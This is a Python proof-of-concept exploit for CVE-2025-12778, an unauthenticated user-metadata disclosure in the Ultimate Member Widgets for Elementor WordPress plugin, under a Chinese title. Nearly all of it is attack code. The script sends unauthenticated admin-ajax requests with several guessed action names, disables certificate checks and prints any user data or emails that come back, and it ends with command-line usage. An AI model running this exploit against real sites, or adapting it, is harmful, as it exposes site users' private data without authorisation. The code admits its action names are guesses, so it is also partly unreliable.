CVE-2025-12778 WordPress Ultimate Member插件未授权用户元数据泄露漏洞

# CVE-2025-12778 PoC - Unauthorized User Metadata Access # Target: WordPress with Ultimate Member Widgets for Elementor <= 2.3 import requests import json import sys def exploit_cve_2025_12778(target_url): """ Exploit for CVE-2025-12778: Missing capability check in handle_filter_users Allows unauthenticated attackers to extract WordPress user metadata """ # Target WordPress site target = target_url.rstrip('/') # AJAX endpoint - typical WordPress admin-ajax.php location ajax_url = f"{target}/wp-admin/admin-ajax.php" # Prepare the exploit payload # The exact action name depends on the plugin's registered AJAX hook # Common patterns: um_elementor_filter_users, handle_filter_users, etc. exploit_payloads = [ {"action": "um_elementor_filter_users", "method": "POST"}, {"action": "handle_filter_users", "method": "POST"}, {"action": "um_get_users", "method": "POST"} ] headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } print(f"[*] Target: {target}") print(f"[*] CVE-2025-12778 - Missing Capability Check in Ultimate Member Widgets") print("="*60) for payload in exploit_payloads: try: print(f"\n[*] Testing action: {payload['action']}") # Send the exploit request (no authentication required) data = { "action": payload['action'], "filter_type": "all", "page": 1 } response = requests.post( ajax_url, data=data, headers=headers, timeout=10, verify=False ) # Check if we got user data in response if response.status_code == 200: try: json_response = response.json() if json_response and 'data' in str(json_response).lower(): print(f"[!] VULNERABLE! Found user data with action: {payload['action']}") print(f"[+] Response preview: {str(json_response)[:500]}") return json_response except: # Response might not be JSON, check raw content if "email" in response.text.lower() or "user" in response.text.lower(): print(f"[!] VULNERABLE! Found user data in response") print(f"[+] Response preview: {response.text[:500]}") return response.text print(f"[-] Action {payload['action']} did not return user data") except requests.exceptions.RequestException as e: print(f"[-] Error with {payload['action']}: {e}") print("\n[*] Manual verification may be required") print("[*] Check the plugin's source code for the correct AJAX action name") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_12778_poc.py <target_url>") print("Example: python cve_2025_12778_poc.py http://target-site.com") sys.exit(1) target_url = sys.argv[1] result = exploit_cve_2025_12778(target_url) if result: print("\n[+] Exploitation successful - user metadata extracted") else: print("\n[-] Exploitation failed or target not vulnerable")